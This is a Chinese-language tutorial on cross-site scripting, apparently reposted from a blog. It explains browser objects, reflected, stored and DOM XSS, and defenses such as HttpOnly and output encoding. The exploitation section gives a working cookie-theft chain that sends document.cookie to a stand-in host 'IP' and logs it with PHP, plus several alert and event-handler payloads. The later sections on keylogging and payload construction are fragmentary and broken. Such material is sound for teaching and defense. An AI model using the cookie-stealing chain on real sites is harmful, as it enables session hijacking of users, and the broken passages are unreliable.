XSS 跨站腳本攻擊 漏洞


0x00 XSS 前置知識

什么是 BOM

  • 瀏覽器對象模型(Browser Object Model (BOM))

  • 由於現代瀏覽器已經(幾乎)實現了 JavaScript 交互性方面的相同方法和屬性,因此常被認為是 BOM 的方法和屬性。

  • 例如:

  • Window 對象

  • 所有瀏覽器都支持 window 對象,它表示瀏覽器窗口。

  • 所有 JavaScript 全局對象、函數以及變量均自動成為 window 對象的成員

  • 全局變量是 window 對象的屬性

  • 全局函數是 window 對象的方法。

  • 甚至 HTML DOM 的 document 也是 window 對象的屬性之一

  • window.document getElementByld("header");

  • 與此相同:

  • document.getElementByld("header");

  • window.location

  • window 在使用時可以省略

  • location.hostname 返回 web 主機的域名

  • location.pathname 返回當前頁面的路徑和文件名

  • location.port 返回 web 主機的端口(80 或 443)

  • location.protocol 返回所使用的 web 協議 http 或 https

<script>
  document.write(location.pathname);
</script>
  • window.navigator

  • window.navigator 對象包含有關訪問者瀏覽器的信息。

<script>
  txt =  "<p>瀏覽器代號:" + navigator.appCodeName + "</p>";
  txt += "<p>瀏覽器名稱:" + navigator.appName + "</p>";
  txt += "<p>瀏覽器版本:" + navigator.appVersion + "</p>";
  txt += "<p>啟用Cookies:" + navigator.cookieEnabled + "</p>";
  txt += "<p>硬件平台:" + navigator.platform + "</p>";
  txt += "<p>用戶代理:" + navigator.userAgent + "</p>";
  txt += "<p>用戶代理語言:" + navigator.systemLanguage + "</p>";
  document.write(txt);
</script>

  • window.document

  • document.cookie 對象用於存儲 web 頁面的用戶信息。

  • 使用 document.cookie 屬性來創建、讀取、及刪除 cookie。

  • 創建 cookie

  • document.cookie="username=John Doe";

  • 讀取 cookie

  • document.write(document.cookie)

  • 刪除 cookie

  • document.cookie ="username= expires= Thu, 01 Jan 1970 00: 00: 00 GMT;

0x01 XSS 漏洞概述

漏洞的介紹

  • XSS 又叫 CSS( Cross Site Script),全稱 跨站腳本攻擊 。它指的是攻擊者往 Web 頁面或者 URL 里插入惡意 java Script 腳本代碼,如果 Web 應用程序對於用戶輸入的內容沒有過濾 ,那么當正常用戶瀏覽該網頁的時候,嵌入在 Web 頁面里的惡意 javascript 腳本代碼會被執行 ,從而達到惡意攻擊正常用戶的目的。

漏洞的位置

  • 數據交互的地方:

  • get post cookies headers 方法

  • 富文本編輯器

  • 各類標簽插入和自定義

  • 數據輸出的地方:

  • 用戶資料

  • 關鍵詞、標簽、說明

0x02 XSS 漏洞原理

  • web應用對用戶的輸入沒有經過嚴格過濾,導致用戶輸入的惡意JS代碼嵌入WEB頁面中執行

  • XSS 是指攻擊者通過在** Web 頁面中寫入惡意腳本** ,造成用戶在瀏覽頁面時,獲取控制用戶瀏覽器進行操作的攻擊方式

xss攻擊的是用戶,不能直接getshell

原理圖解

// 服務端代碼:
<?php
  $input = $_GET["test"];
  echo $input;
?>
// 用戶提交:
<script>alert(/xss/)</script>

XSS 漏洞產生的兩個條件

  1. 可以控制的輸入點

  2. 輸入能返回到前端頁面上被瀏覽器當成腳本語言解釋執行

0x03 XSS 漏洞危害

漏洞的危害

  1. 竊取用戶 Cookie,冒充用戶身份進入網站 (常見)

  2. 鍵盤記錄

  3. 客戶端信息探查

  4. 劫持用戶會話,執行任意操作

  5. 刷流量,執行彈窗廣告

  6. 傳播蠕蟲病毒

  7. ......

0x04 XSS 漏洞防御

  1. 使用** XSS Filter** :XSS Filter的作用是過濾用戶(客戶端)提交的有害信息 ,從而達到防范XSS攻擊的效果

  2. 輸入過濾 :永遠不要相信用戶的輸入",對於用戶輸入一定要過濾

  3. 輸入驗證 :對用戶提交的信息進行有效驗證 (是否僅包含合法字符、字符串長度限制、輸入是否符合特殊的格式要求等等)

  4. http-only :HttpOnly是包含在http返回頭Set-Cookie里面的一個附加的flag,所以它是后端服務器對cookie設置的一個附加的屬性,在生成cookie時使用HttpOnly標志有助於減輕客戶端腳本訪問受保護cookie的風險(如果瀏覽器支持的話)通過js腳本將無法讀取到cookie信息(document.cookie),這樣能有效的防止XSS攻擊。

  5. 輸出編碼 (htmlspecialchars函數 ):HTML編碼主要是用對應的HTML實體代替字符

0x05 XSS 漏洞分類

反射型XSS

  • 概念:是非持久性 、參數型的跨站腳本。反射型XSS的JS代碼在web應用的參數(變量)中,如搜索框 的反射型ⅩSS。

  • 存在位置:常見於通過URL傳遞參數 的功能,如網站搜索、跳轉等

  • 攻擊手法:需要欺騙用戶自己去點擊鏈接才能觸發ⅩSS代碼(服務器中沒有這樣的頁面和內容),一般容易出現在搜索頁面

  • 驗證反射型XSS漏洞存在的poc
<script>alert('xss')</script>    //常用
<script>confirm('xss')</script>
<script>prompt('xss')</script>
<script>console.log('xss')</script>

存儲型XSS

  • 概念:持久性跨站腳本,是三種XSS中危害最大 的。它是將惡意代碼寫進數據庫或文件等可以永久保存數據的介質中

  • 存在位置:常出現在留言板、發表評論或發表文章的地方(數據寫入的地方)

  • 攻擊手法:

  • 通過留言板等功能,將攻擊者精心構造XSS代碼,保存到數據庫 中,當其他用戶再次訪問 這個頁面時,就會觸發並執行惡意的XSS代碼 ,從而竊取用戶的敏感信息

  • XSS盲打,例如插入XSS平台生成的盜取cookie鏈接

DOM型XSS

  • DOM的意思:DOM文檔對象模型 (Document Object Model, DOM)是一個平台和語言都中立的接口,可以使程序和腳本能夠動態訪問和更新文檔的內容、結構以及樣式

  • 概念:不經過后端 ,DOM XSS漏洞是基於文檔對象模型的一種漏洞,簡單去理解就是因為輸岀點在DOM 。DOM XSS是通過url傳入參數去控制觸發的,其實也屬於反射型XSS。

  • 攻擊手法:

  1. 攻擊者構造出特殊的URL,其中包含惡意代碼。用戶打開帶有惡意代碼的URL

  2. 用戶瀏覽器接收到響應后解析執行,前端 JavaScript取出URL中的惡意代碼並執行。

  3. 惡意代碼竊取用戶數據並發送到攻擊者的網站,或者冒充用戶的行為,調用目標網站接口執行攻擊者指定的操作

  • 常見的DOM方法:

三種類型的區別

  • 存儲型XSS與反射型XSS的區別

  • 存儲型XSS的惡意代碼存在數據庫 里,是持久性的;反射型XSS的惡意代碼存在URL 里,是一次性的

  • DOM型與其他兩種XSS的區別

  • DOM型XSS攻擊中,取出和執行惡意代碼由瀏覽器端完成,屬於前端 JavaScript自身的安全漏洞,而其他兩種ⅩSS都屬於服務端的安全漏洞

0x06 XSS漏洞利用

XSS 簡單利用

Cookie獲取

//插入腳本
<script src='http://IP/xss.js'></script>

// xss.js
s=document.createElement('script');
s.src='http://IP/xss.php?cookie='+btoa(document.cookie);
document.body.appendChild(s)

// xss.php
<?php
 $a = $_GET['cookie'];
 $fp = fopen('xss.txt','a');
 fwrite($fp,$a);
 fclose($fp);
?>

鍵盤記錄

  • JS發送請求的方式

  • 利用一些標支持src屬性的標簽,例如

  • 某些標簽內 //

    不支持XSS的事件

  • 常用事件

    • onclick 鼠標點擊鮫發

    • onload當頁面加載完成后觸發

    • onerror當頁面加載錯誤時候鮫發

    • onmousemove當鼠標移動就觸發

    • onmouseover 鼠標指針移動到指定的元素上時發生

    <img src=x" onerror="alert("you")></img>
    <p onmouseover=alert(/you/)>test</p>
    

    • javascript偽協議

    • 這個特殊的協議類型聲明了URL的主體是任意的 javascript代碼,它由 javascrip的解釋器運行。如果 javascript偽協議中URL中的 javascript代碼含有多個語句,必須使用分號將這些語句分隔開。

    • 在瀏覽器直接輸入

    <a href="javascript:alert(a)">1</a>
    <img src=1 onerror="javascript:alert(1)"></img>
    

    XSS 基本構造(5種)

    1. 利用<> 構造 HTML/JS
    • 同理,提交 ,構造


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM